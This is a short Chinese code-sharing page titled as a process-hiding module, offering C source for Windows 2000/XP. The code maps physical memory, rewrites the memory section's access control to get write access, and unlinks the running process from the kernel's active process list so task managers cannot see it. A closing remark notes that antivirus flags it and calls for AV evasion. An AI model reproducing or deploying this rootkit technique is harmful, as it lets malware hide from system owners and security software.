进程隐藏代码模块
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站长推荐:NSetup一键部署软件
一键式完成美化安装包制作，自动增量升级，数据统计，数字签名。应对各种复杂场景，脚本模块化拆分，常规复杂的脚本代码，图形化设置。无需专业的研发经验，轻松完成项目部署。(www.nsetup.cn)
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#include<windows.h> #include<Accctrl.h> #include<Aclapi.h> #define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) BOOL HideProcess(); typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL; OSVERSIONINFO g_osvi; //--------------------------------------------------------------------------- BOOL InitNTDLL() { g_hNtDLL = LoadLibrary("ntdll.dll"); if (NULL == g_hNtDLL) return FALSE; RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); return TRUE; } //--------------------------------------------------------------------------- VOID CloseNTDLL() { if(NULL != g_hNtDLL) FreeLibrary(g_hNtDLL); g_hNtDLL = NULL; } //--------------------------------------------------------------------------- HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes; ULONG PhyDirectory; g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx (&g_osvi); if (5 != g_osvi.dwMajorVersion) return NULL; switch(g_osvi.dwMinorVersion) { case 0: PhyDirectory = 0x30000; break; //2k case 1: PhyDirectory = 0x39000; break; //xp default: return NULL; } RtlInitUnicodeString(&physmemString, L"\Device\PhysicalMemory"); attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL; status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); if(status == STATUS_ACCESS_DENIED) { status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); } if(!NT_SUCCESS(status)) return NULL; g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory, 0x1000); if( g_pMapPhysicalMemory == NULL ) return NULL; return g_hMPM; } //--------------------------------------------------------------------------- PVOID LinearToPhys(PULONG BaseAddress, PVOID addr) { ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr; PGDE = BaseAddress[VAddr>>22]; if (0 == (PGDE&1)) return 0; ULONG tmp = PGDE & 0x00000080; if (0 != tmp) { PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF); } else { PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if (0 == (PTE&1)) return 0; PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } return (PVOID)PAddr; } //--------------------------------------------------------------------------- ULONG GetData(PVOID addr) { ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (0 == tmp) return 0; ULONG ret = tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret; } //--------------------------------------------------------------------------- BOOL SetData(PVOID addr,ULONG data) { ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (0 == tmp) return FALSE; tmp[(phys & 0xFFF)>>2] = data; UnmapViewOfFile(tmp); return TRUE; } //--------------------------------------------------------------------------- long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp) { ExitProcess(0); return 1 ; } //--------------------------------------------------------------------------- BOOL YHideProcess() { // SetUnhandledExceptionFilter(exeception); if (FALSE == InitNTDLL()) return FALSE; if (0 == OpenPhysicalMemory()) return FALSE; ULONG thread = GetData((PVOID)0xFFDFF124); //kteb ULONG process = GetData(PVOID(thread + 0x44)); //kpeb ULONG fw, bw; if (0 == g_osvi.dwMinorVersion) { fw = GetData(PVOID(process + 0xa0)); bw = GetData(PVOID(process + 0xa4)); } if (1 == g_osvi.dwMinorVersion) { fw = GetData(PVOID(process + 0x88)); bw = GetData(PVOID(process + 0x8c)); } SetData(PVOID(fw + 4), bw); SetData(PVOID(bw), fw); CloseHandle(g_hMPM); CloseNTDLL(); return TRUE; } BOOL HideProcess() { static BOOL b_hide = false; if (!b_hide) { b_hide = true; YHideProcess(); return true; } return true; } ps.多数杀毒会告警，需要免杀 |
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